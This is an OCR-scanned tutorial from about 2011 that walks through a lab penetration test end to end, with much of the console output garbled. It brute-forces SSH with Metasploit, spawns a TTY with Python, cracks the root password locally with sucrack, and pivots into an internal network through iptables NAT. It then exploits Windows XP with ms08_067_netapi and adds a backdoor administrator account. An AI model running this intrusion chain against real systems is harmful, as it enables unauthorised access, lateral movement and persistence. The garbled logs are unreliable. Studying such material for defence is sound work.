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# Penetration Testing Linux with brute force Tool.

Sometimes I have the job to penetration testing (pentest) the Linux server and mostly harden them. But administrator use the simple(easy) password in the root account or his account and that is the weak point or vulnerability that makes me can get into the internal network and own his system.

The first penetration testing tool that I think to use is Metasploit Framework, the world's largest Ruby project, it has many many useful modules not only exploitation modules. You can sniffing, DoS(Denial Of Service), crawling, brute forcing with this tool. The Metasploit Framework is the famous tool in the security world because it's free, up-to-date and has many developers to create the new modules all the time. That why I like this tool and when I have the pentest job, this tool is the first thing that comes to my mind.

In the last couple days, I get the new tool to help me get the password of root account. The name is Sucrack. Sucrack is multithreaded a Linux/UNIX tool for cracking local user accounts via wordlist brute forcing su. After I tried it, I like it because it's easy to use in any environment, fast and that's it you can get password of root account with this tool.

Now we're ready to own the system. My tools are

- Backtrack 5 GNOME 64 Bit Version
- Metasploit Framework Version 3.8.0-dev r13080
- Sucrack Version 1.2.3
- Nmap Version 5.51

## **SCENARIO:**

[Attacker Machine] OS: Backtrack 5 GNOME 64bit Version. Metasploit Version: 3.8.0-dev r13091 Sucrack Version: 1.2.3 IP Address: 192.168.168.156

[First Victim]

**OS:** Ubuntu 10.10

IP Address: 192.168.168.129

Internal IP Address: 192.168.59.142

[Second Victim(Internal Network)]

**OS:** Windows XP SP2

Internal IP Address: 192.168.59.143

## **Objective:**

We don't have any information about the network and deeply information of the first and second victim. We have only IP Address of first and second victims. But our goal's to get the shell in second victim.

My target is the second victim that it was in internal network. So the first thing we must do is own the first victim and change it's to my gateway for connecting to internal network. And finally, own the second victim.

#### **Detail Of Steps:**

#### Step 1:

First thing we must do is perform the scanning to first victim with Nmap. My option of nmap that we use are "nmap -vv -sV -O" for output into the console, probe the info of service and detect OS.



The results show me about http and ssh service are open. Now we will use Metasploit to get in there.

#### Step 2:

Go to your Metasploit Console with terminal -> msfconsole or Applications Menu-> Bactrack -> Exploitation Tools -> Network Exploitation Tools -> Metasploit Framework -> msfconsole





## Step 3:

In the first step, we found the ssh server that open so now we will use ssh\_login module, auxiliary/scanner/ssh/ssh\_login, for brute forcing ssh server (you can search the module that create for "ssh" with "search ssh" command.)



You can see detail of this module with "info" command.



So we see that the parameter are required by this module are

"BRUTEFORCE_SPEED"	Speed of Brute forcing.
"RHOSTS"	Target Hostname or IP Address
"RPORT"	Target Port that Use for SSH Port
"STOP_ON_SUCCESS"	Stop brute forcing after get the credential
"THREADS"	Number of concurrent threads

"VERBOSE"

Print output to your console

Some parameter was set automatically, some parameter you must set by yourself.

#### Step 4:

Now we set the "RHOSTS", "USER\_FILE" and "PASS\_FILE" before start the brute forcing.



"USER\_FILE"

Wordlist that contain username, one per line.

"PASS\_FILE"

Wordlist that contain password, one per line.

Example of USER\_FILE

<pre>root@bt:/pentest/passwords/wordlists# cat user.txt</pre>	
admin	
administrator	
administrators	
john	
root	
grace	
andrew	

Example of PASS FILE

<pre>root@bt:/pentest/passwords/wordlists# cat password.txt</pre>	
0123456789	
1234567890	
p@ssw0rd	
password	
adminpassword	
toor	
root	
admin	

## Step 5:

Now we're ready to brute forcing but we will check the options again before start attack with "show options" command.



After check the parameter, I think we're ready to go.

Start the attack with "run" or "exploit" command.

msf	auxiliary(ssh_login) > exploit
[*]	192 168 168 129-22 SSH - Starting bruteforce
1*1	192 168 188 129-22 SSH - [0001/4354] - Trving: username: 'admin' with nassword: ''
[-1	192.168.168.129:22 SSH - [0001/354] - Failed: 'admin':''
[*]	192.168.168.129:22 SSH - [0002/4354] - Trving: username: 'administrator' with password: ''
1-1	192.168.168.129:22 SSH - [0002/4354] - Failed: 'administrator':''
[*]	192.168.168.129:22 SSH - [0003/4354] - Trving: username: 'administrators' with password: '
[-]	192.168.168.129:22 SSH - [0003/4354] - Failed: 'administrators':''
[*]	192.168.168.129:22 SSH - [0004/4354] - Trying: username: 'john' with password: ''
[-]	192.168.168.129:22 SSH - [0004/4354] - Failed: 'john':''
[*]	192.168.168.129:22 SSH - [0005/4354] - Trying: username: 'root' with password: ''
[-]	192.168.168.129:22 SSH - [0005/4354] - Failed: 'root':''
[*]	192.168.168.129:22 SSH - [0006/4354] - Trying: username: 'grace' with password: ''
[-]	192.168.168.129:22 SSH - [0006/4354] - Failed: 'grace':''
[*]	192.168.168.129:22 SSH - [0007/4354] - Trying: username: 'andrew' with password: ''
[-]	192.168.168.129:22 SSH - [0007/4354] - Failed: 'andrew':''
[*]	192.168.168.129:22 SSH - [0008/4354] - Trying: username: 'Root' with password: ''
[-]	192.168.168.129:22 SSH - [0008/4354] - Failed: 'Root':'
[*]	192.168.168.129:22 SSH - [0009/4354] - Trying: username: 'hacker' with password: ''
[-]	192.168.188.129:22 SSH - [0009/4354] - Falted: "hacker:"
[*]	192.168.188.129:22 SSH - [0010/4334] - [Tying: Username: "Admin" with password:
	192.168.108.129:22 SSH - [0011/4334] - Falled: Admin :
[*]	192.169.106.129:22 SSH - [0011/4534] - Frying: username: Administrator with password:
[*]	122.100.100.123.22 John [0011/4334] - raiteu. Auministrator:
	192,168,100.22,22,504 - [0012/4334] - Fijind, Userhamer, Administrators with password,
[*]	192 168 129-22 SSH [OH13/4354] - Triving username: 'admin' with password: 'admin'
1-1	192 168 168 129 25 55 - [0013/4554] - Failed ' Jardinin' admin'
[*]	192.168.168.129:22 SSH - [0014/4354] - Trving: username: 'administrator' with password: 'administrator'
1-1	192.168.168.129:22 SSH - [0014/4354] - Failed: 'administrator':'administrator'
[*]	192.168.168.129:22 SSH - [0015/4354] - Trying: username: 'administrators' with password: 'administrators'
[-]	192.168.168.129:22 SSH - [0015/4354] - Failed: 'administrators': administrators'
[*]	192.168.168.129:22 SSH - [0016/4354] - Trying: username: 'john' with password: 'john'
[-]	192.168.168.129:22 SSH - [0016/4354] - Failed: 'john':'john'
[*]	192.168.168.129:22 SSH - [0017/4354] - Trying: username: 'root' with password: 'root'
[-]	192.168.168.129:22 SSH - [0017/4354] - Failed: 'root'
[*]	192.168.168.129:22 SSH - [0018/4354] - Trying: username: 'grace' with password: 'grace'

Go to take a nap or play the game while Metasploit is guessing. Sometimes it may be use the long time and sometimes it may be use the short time depends on strength of password and your wordlist.

#### Step 6:

When it get the correct password, we will see the result like this picture.

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1-	192.168.168.129:22 SSH - [096/334] - Failed: 'administrators':'tanner2008'	
[*]	192.168.168.129:22 SSH - [097/334] - Trying: username: 'administrators' with password: 'maddfox'	
I-1	192.168.168.129:22 SSH - [097/334] - Failed: 'administrators':'maddfox'	
[*]	192.168.168.129:22 SSH - [098/334] - Trying: username: 'administrators' with password: 'Ronald77'	
[-]	192.168.168.129:22 SSH - [098/334] - Failed: 'administrators':'Ronald77'	
[*]	192.168.168.129:22 SSH - [099/334] - Trying: username: 'administrators' with password: 'reggie'	
- 1	192.168.168.129:22 SSH - [099/334] - Failed: 'administrators':'reggie'	
[*]	192.168.168.129:22 SSH - [100/334] - Trying: username: 'administrators' with password: 'suzanne'	
[-]	192.168.168.129:22 SSH - [100/334] - Failed: 'administrators':'suzanne'	
[*]	192.168.168.129:22 SSH - [101/334] - Trying: username: 'administrators' with password: 'hoofbeats'	
I - 1	192.168.168.129:22 SSH - [101/334] - Failed: 'administrators':'hoofbeats'	
[*]	192.168.168.129:22 SSH - [102/334] - Trying: username: 'john' with password: '0123456789'	
[-]	192.168.168.129:22 SSH - [102/334] - Failed: 'john':'0123456789'	
[*]	192.168.168.129:22 SSH - [103/334] - Trying: username: 'john' with password: '1234567890'	
-	192.168.168.129:22 SSH - [103/334] - Failed: 'john':'1234567890'	
[*]	192.168.168.129:22 SSH - [104/334] - Trying: username: 'john' with password: 'p@ssw0rd'	
[*]	Command shell session 1 opened (192.168.168.156:51632 -> 192.168.168.129:22) at 2011-07-03 08:58:14 +0700	
[+]	192.168.168.129:22 SSH - [104/334] - Success: 'john':'p@ssw0rd' 'uid=1001(john) gid=1001(john) groups=1001(john) Linux ubuntu 2.6.35-22-generic-pae	#33-U
bui	tu SMP Sun Sep 19 22:14:14 UTC 2010 i686 GNU/Linux '	
[*]	192.168.168.129:22 SSH - [105/334] - Trying: username: 'root' with password: '0123456789'	
[-]	192.168.168.129:22 SSH - [105/334] - Failed: 'root':'0123456789'	
[*]	192.168.168.129:22 SSH - [106/334] - Trying: username: 'root' with password: '1234567890'	
[-]	192.168.168.129:22 SSH - [106/334] - Failed: 'root': '1234567890'	
[*]	192.168.168.129:22 SSH - [107/334] - Trying: username: 'root' with password: 'p@ssw0rd'	
[-]	192.168.168.129:22 SSH - [107/334] - Failed: 'root':'p@ssw0rd'	
[*]	192.168.168.129:22 SSH - [108/334] - Trying: username: 'root' with password: 'password'	
I-1	192.168.168.129:22 SSH - [108/334] - Failed: 'root':'password'	
[*]	192.168.168.129:22 SSH - [109/334] - Trying: username: 'root' with password: 'adminpassword'	
[-]	192.168.168.129:22 SSH - [109/334] - Failed: 'root':'adminpassword'	
[*]	192.168.168.129:22 SSH - [110/334] - Trying: username: 'root' with password: 'toor'	
1-	192.168.168.129:22 SSH - [110/334] - Failed: 'root':'toor'	
[*.	192.168.168.129:22 SSH - [111/334] - Trying: username: 'root' with password: 'admin'	
1 -	192.168.168.129:22 SSH - [111/334] - Failed: 'root':'admin'	

This picture show you that username "john" use password "p@ssw0rd" and now we get the connection session of it automatically. The session ID of the connection session is 1. We can use PuTTy or another ssh client to connect the host or use Metasploit to get in there. This tutorial uses Metasploit to get it.

#### Step 7:

Now we can get in there with "session -i 1" command





But we can't use "su" command. It will show you 'must be run from a terminal' message command.



#### Step 8:

We can get TTY(terminal) with two ways.

First, if Expect language installed in system.

o Create getsh.exp with

#!/usr/bin/expect

spawn sh

interact

• Execute getsh.exp with "expect getsh.exp" command, And Walla!! You get TTY and can use "su" command.

Second, if Python language installed in system.

 Use the command to get the TTY with "python -c 'import pty; pty.spawn("/bin/sh")'" command to get the shell

So we're lucky, this system has installed python language. And I use the second way to get the shell.



#### Step 9:

After the last step, we got the shell and want to get "root" privilege. So we try to use "sudo -s" command but john account is not in the sudoers file.



Now we will use sucrack to brute forcing in the local system. We can use with "wget" command to the download link (<u>http://labs.portcullis.co.uk/download/sucrack-1.2.3.tar.gz</u>) and compile it in the victim system(victim system must have gcc compiler) or use "scp" command to take the file that compile in the attacker machine to the victim machine. I take the second way because this situation victim machine doesn't have gcc compiler.



After get the zip, extract it with "tar xzvf sucrack-1.2.3.tar.gz".



Go to the folder and compile it with ./configure CFLAGS=-m32 & make (Set CFLAGS=-m32 to compile for run in 32bit because attacker machine's architecture is 64bit but victim machine's architecture is 32bit)

After compiling complete, upload folder to victim system with "scp -r hacker@hackerip:/pentest/exploits/framework3/sucrack-1.2.3 ." (run this command in victim system) and upload wordlist for brute forcing too.

\$ scp -r hacker@192.168.168.1	56:/pentest/exploits/framew	ork3/sucrack	-1.2.3 .		
scp -r hacker@192.168.168.156	:/pentest/exploits/framewor	k3/sucrack-1	.2.3 .		
hacker@192.168.168.156's pass	word: th3p@ssw0rd				
AUTHORS	100% 45	0.0KB/s	00:00		
aclocal.m4	100% 31K	B 30.8KB/s	00:00		
configure	100% 191K	B 191.1KB/s	00:00		
install-sh	100% 5569	5.4KB/s	00:00		
mkinstalldirs	100% 1801	1.8KB/s	00:00		
config.h.in	100% 2968	2.9KB/s	00:00		
config.h	100% 3220	3.1KB/s	00:00		
COPYING	100% 1526	1.5KB/s	00:00		
configure.ac	100% 2003	2.0KB/s	00:00		
config.status	100% 39K	B 38.6KB/s	00:00		
config.guess	100% 39K	B 38.8KB/s	00:00		
compile	100% 2774	2.7KB/s	00:00		
sucrack.1	100% 2212	2.2KB/5	00:00	truch CI/	
NEWS	100% 0	0.0KB/s	00:00		
Makefile.am	100% 65	0.1KB/5	00:00	LIGUN	
sucrack-dictionary.o	100% 20K	B 20.3KB/s	00:00		
worker.h	100% 2116	2.1KB/s	00:00		
rules.c	100% 3392	3.3KB/s	00:00		
stat.h	100% 2496	2.4KB/s	00:00		
dictionary.h	100% 2503	2.4KB/s	00:00		
sucrack-pty.o	100% 8960	8.8KB/s	00:00		
sucrack.c	100% 9060	8.9KB/s	00:00		
sucrack-su.Po	100% 3850	3.8KB/s	00:00		
sucrack-sucrack.Po	100% 3862	3.8KB/s	00:00		
sucrack-worker.Po	100% 3696	3.6KB/s	00:00		
sucrack-stat.Po	100% 3238	3.2KB/s	00:00		

### Step 10:

In victim machine, go to the sucrack -> src and start brute forcing with "./sucrack -w 100 -u root password.txt" command and wait for the result. If it fail it will show message "bye, bye...", if it success it will show like the below picture.

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$ ./sucrack -w 100 -u root password.txt
./sucrack -w 100 -u root password.txt
password is: P@SSW)RD
$ ■
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Now we have root password("P@SSW)RD"), try to use "su" command to login "root" account. And Walla!!! We own this machine completely.



#### Step 11:

Try to get IP Address of this host.



We found that this machine is like a door for attacker to get through the internal network. And we will use it like a bridge to connect internal network with iptables.

We use "echo 1 > /proc/sys/net/ipv4/ip\_forward" to enable ip forwarding.

We use "iptables -P FORWARD ACCEPT" and "iptables --table nat -A POSTROUTING -o eth1 -j MASQUERADE" to create the bridge between attacker and internal network.

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root@ubuntu:/home/jobn/sucrack-1 2 3/	srd cat /proc/sys/net/ipv4/in forward
cat /proc/sys/net/inv4/in forward	i c# cdc /ploc/sjs/nec/ip//ip_loiward
root@ubuntu:/home/john/sucrack-1.2.3/	src# iptables -P FORWARD ACCEPT
iptables -P FORWARD ACCEPT	back + kack = b
root@ubuntu:/home/john/sucrack-1.2.3/	src# iptablestable nat -A POSTROUTING -o eth1 -j MASQUERADE
<ack-1.2.3 iptablestable="" nat<="" src#="" th=""><td>-A POSTROUTING -o eth1 -j MASQUERADE</td></ack-1.2.3>	-A POSTROUTING -o eth1 -j MASQUERADE
root@ubuntu:/home/john/sucrack-1.2.3/	src# iptables -L
iptables -L	
Chain INPUT (policy ACCEPT)	
target prot opt source	destination
Chain FORWARD (policy ACCEPT)	
target prot opt source	destination
Chain OUTPUT (policy ACCEPT)	
target prot opt source	destination
root@ubuntu:/home/john/sucrack-1.2.3/	src#

In the attacker machine, add routing table for connect the internal network with "route add -net 192.168.59.0/24 gw 192.168.168.129"

root@bt:/pentest/exploits/framework3/sucrack-1.2.3# route add -net 192.168.59.0/24 gw 192.168.168.129
root@bt:/pentest/exploits/framework3/sucrack-1.2.3#

Now we're connecting to the internal network.

Step 12:

We'd already know IP Address of second victim is 192.168.59.143. Try to ping it

ro	ot@bt:/	/pent	est/exploits/fra	mework3/sucr	ack-1.2.	.3# ping 192.	168.59.143		67	
PI	NG 192.	.168.	59.143 (192.168.	59.143) 56(8	(4) bytes	s of data.				
64	bytes	from	192.168.59.143	<pre>icmp seq=1</pre>	ttl=127	time=0.940 m	15		10	
64	bytes	from	192.168.59.143	icmp seq=2	ttl=127	time=0.531 m	IS			
64	bytes	from	192.168.59.143	icmp seq=3	ttl=127	time=0.656 m	1S			
64	bytes	from	192.168.59.143:	icmp seq=4	ttl=127	time=0.756 m	ns			
64	bytes	from	192.168.59.143:	icmp seq=5	ttl=127	time=0.662 m	ns .			
64	bytes	from	192.168.59.143	icmp seq=6	ttl=127	time=0.657 m	1S			
64	bytes	from	192.168.59.143:	icmp seq=7	ttl=127	time=0.963 m	ns ///		11	
64	bytes	from	192.168.59.143	icmp seq=8	ttl=127	time=0.849 m	ns 🔣			
64	bytes	from	192.168.59.143	icmp seq=9	ttl=127	time=0.780 m	IS			
64	bytes	from	192.168.59.143	icmp seq=16	) ttl=127	7 time=0.669	ms			
64	bytes	from	192.168.59.143:	icmp seg=11	ttl=127	7 time=0.638	ms			

The second victim is alive. Perform scanning with "nmap -v -sV"

root@bt:/pentest/exploits/framework3/sucrack-1.2.3# nmap -v -sV -0 192.168.59.143
Starting Nmap 5.51 ( http://pmap.org ) at 2011-07-04 00:28 ICT
NSE: Loaded 8 scripts for scanning.
Initiating Ping Scan at 90:28
Scanning 192, 168, 59, 143 [4 ports]
Completed Ping Scan at A0-28 A 20s elansed (1 total hosts)
Complete any stand second
Completed Parallel DNS resolution of 1 host at 00:28, 0 12s elansed
Complete a narrete viso resolution of Morea at Morea at 00.20, 0.225 etapsed
Scanning 192 168 59 143 [1000 norts]
Discovered open port 445/tro op 192 168 59 143
Discovered open port 13//tro on 192/160.59.143
Completed SVN Stealth Scap at 00-218, 4, 548 elansed (1000 total norts)
Complete son at 00.78
Scanning 2 services on 192 168 59 143
Complete Services scan at 00-28, 6.06s elansed (2 services on 1 host)
Complete Source States and Control, States and States and Another States and Anot
Mana scan report for 192 168 59 143
Hast is up (0.0015s latency)
Not shown: 998 filtered norts
PORT STATE SERVICE VERSION
139/tro open nethios-ssn
45/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2000IXP
OS details: Microsoft Windows 2000 SP4. Microsoft Windows XP SP2 or SP3
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows
Read data files from: /usr/local/share/nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.20 seconds
Raw packets sent: 2041 (91.898KB)   Rcvd: 14 (850B)
<pre>root@bt:/pentest/exploits/framework3/sucrack-1.2.3#</pre>

We found netbios service (Port 139/445) and OS is Windows XP SP2 or Sp3 in the results. So I will try to use classic module of Metasploit to own it.

# Step 13:

Go to Metasploit console and use "exploit/windows/smb/ms08\_067\_netapi" module for remote code exploit of smb service (139/445).

<pre>root@bt:/pentest/exploits/framework3/sucrack-1.2.3# msfconsole</pre>	
888         888 <td></td>	
<pre>=[ metasploit v3.8.0-dev [core:3.8 api:1.0] +=[ 708 exploits - 359 auxiliary - 57 post +=[ 225 payloads - 27 encoders - 8 nops =[ svn r13091 updated yesterday (2011.07.02) msf vuse exploit/windows/smb/ms08.067_netapi msf exploit(ms08_067_netapi) &gt; msf exploit(ms08_067_netapi) &gt;</pre>	track 5

You can get the information of this module with "info" command and get the parameter that you must set with "show options" command.

<u>msf</u> exploit	(ms08_067_netapi)	> show op	tions	
Module opti	ons (exploit/wind	lows/smb/ms	08_067_netapi):	
Name	Current Setting	Required	Description	
RHOST RPORT SMBPIPE	445 BROWSER	yes yes yes	The target address Set the SMB service port The pipe name to use (BROWSER, SRVSVC)	5
Exploit tar	get:			
Id Name  0 Auto	natic Targeting			
<u>msf</u> exploit	(ms08_067_netapi)	>		and Second

Set RHOST parameter with target address(192.168.59.143).

<u>msf</u> exploit RHOST => 19 <u>msf</u> exploit Module opti	(ms08_067_netapi) 2.168.59.143 (ms08_067_netapi) ons (exploit/wind	> set RHO > show op lows/smb/ms	stions ack track 55
Name	Current Setting	Required	Description
RHOST RPORT SMBPIPE	192.168.59.143 445 BROWSER	yes yes yes	The target address Set the SMB service port The pipe name to use (BROWSER, SRVSVC)
Exploit tar	get:		
Id Name 0 Auto	matic Targeting		



Run it with "exploit" command.



Now we got shell of second victim. You can use "sysinfo" for view information of this victim.



Step 15:

Interact cmd shell with "shell" command.



After we're in the cmd shell, adding the new user to the group of administrator group for create backdoor with "net user hacker /add" and "net local group administrators hacker /add".



Game Over, we're done all jobs in this project.

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